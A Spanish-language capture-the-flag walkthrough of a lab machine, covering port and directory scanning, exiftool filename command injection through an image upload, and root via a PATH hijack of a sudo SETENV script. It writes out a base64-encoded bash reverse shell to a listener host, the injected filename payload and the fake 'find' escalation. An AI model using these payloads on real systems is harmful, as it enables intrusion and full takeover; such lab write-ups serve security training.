Autor: Powerful
Dificultad: Fácil
Reconocimiento
Como siempre, lo primero es realizar un escaneo de los puertos disponibles en la máquina.
$ sudo nmap 192.168.1.59
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-07 14:22 EST
Nmap scan report for 192.168.1.59
Host is up (0.000098s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Http (80)
Realizo una enumeración de archivos y subdirectorios utilizando gobuster.
$ gobuster dir -u "http://192.168.1.59/" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x php,txt,html
[...]
/.html (Status: 403) [Size: 277]
/.php (Status: 403) [Size: 277]
/index.html (Status: 200) [Size: 13235]
/assets (Status: 301) [Size: 313] [--> http://192.168.1.59/assets/]
/upload.php (Status: 200) [Size: 3773]
/service.html (Status: 200) [Size: 3417]
/css (Status: 301) [Size: 310] [--> http://192.168.1.59/css/]
/manual (Status: 301) [Size: 313] [--> http://192.168.1.59/manual/]
/js (Status: 301) [Size: 309] [--> http://192.168.1.59/js/]
[...]
El más interesante es “/service.html” el cual permite subir una imágen.
Explotación
Al subir una imágen se creará automaticamente un archivo “.txt” con la salida de la herramienta exiftool (v 12.37)
Existe una vulnerabilidad que afecta a esta version de exiftool con la cual se puede obtener una reverse shell. PoC github
Command Injection
Lo primero que hay que hacer es capturar con burpsuite la solicitud para subir la imágen dado que la inyección de comandos se realiza en el campo “filename”.
A la hora de conseguir una reverse shell hay que tener en cuenta que el nombre del archivo no puede contener backslash (/). Para evitar esto, codifico el comando que quiera ejecutar en base64 y lo añado de la siguiente manera.
$ echo -n "bash -i >& /dev/tcp/192.168.1.86/1234 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuODYvMTIzNCAwPiYx
[...]
Content-Disposition: form-data; name="image"; filename="echo -n 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuODYvMTIzNCAwPiYx' | base64 -d | bash |"
Content-Type: image/png
[...]
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [192.168.1.86] from (UNKNOWN) [192.168.1.59] 34896
bash: cannot set terminal process group (455): Inappropriate ioctl for device
bash: no job control in this shell
www-data@w140:/var/www/uploads/1678201980$
Ya estoy dentro!
Escalado de Privilegios
En el directorio “/var/www”, se encuentro el archivo oculto .w140.png el cuál al enviarlo a mi máquina Kali puedo ver que es un QR con la contraseña del usuario Ghost.
$ ls -la
ls -la
total 48
drwxr-xr-x 4 root root 4096 Feb 21 12:54 .
drwxr-xr-x 12 root root 4096 Jan 29 14:50 ..
-rw-r--r-- 1 root root 28744 Feb 21 12:51 .w140.png
drwxr-xr-x 7 root root 4096 Mar 7 08:49 html
drwx------ 60 www-data root 4096 Mar 7 10:13 uploads
Una vez obtenida la contraseña, puedo iniciar sesión mediante ssh como ghost.
$ ssh ghost@192.168.1.59
ghost@192.168.1.59's password:
Linux w140 5.10.0-21-amd64 #1 SMP Debian 5.10.162-1 (2023-01-21) x86_64
[...]
ghost@w140:~$ :)
Root
Ghost tiene permiso para asignar variables de entorno al ejecutar “/opt/Benz-w140” como usuario root.
ghost@w140:~$ sudo -l
Matching Defaults entries for ghost on w140:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User ghost may run the following commands on w140:
(root) SETENV: NOPASSWD: /opt/Benz-w140
Al leer el script me doy cuenta que el comando “find” al final del archivo no tiene la ruta completa expecificada por lo que junto con el permiso para modificar las variables de entorno es sencillo conseguir acceso como usuario root.
ghost@w140:~$ cat /opt/Benz-w140
#!/bin/bash
. /opt/.bashre
cd /home/ghost/w140
# clean up log files
if [ -s log/w140.log ] && ! [ -L log/w140.log ]
then
/bin/cat log/w140.log > log/w140.log.old
/usr/bin/truncate -s@ log/w140.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
Lo primero que hago es crear un script llamado “find” en “/tmp”. Le doy permiso de ejecución y añado “bash” dentro.
Ahora solo queda ejecutar “/opt/Benz-w140” modificando la variable PATH para que el primer directorio en el que busque sea “/tmp” y se ejecute mi “find” malicioso.
ghost@w140:/opt$ cat /tmp/find
bash
ghost@w140:/opt$ sudo PATH=/tmp:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games /opt/Benz-w140
root@w140:/opt# :)
Y con esto la máquina ya estaría resuelta.
Muchas gracias a Powerful por esta máquina.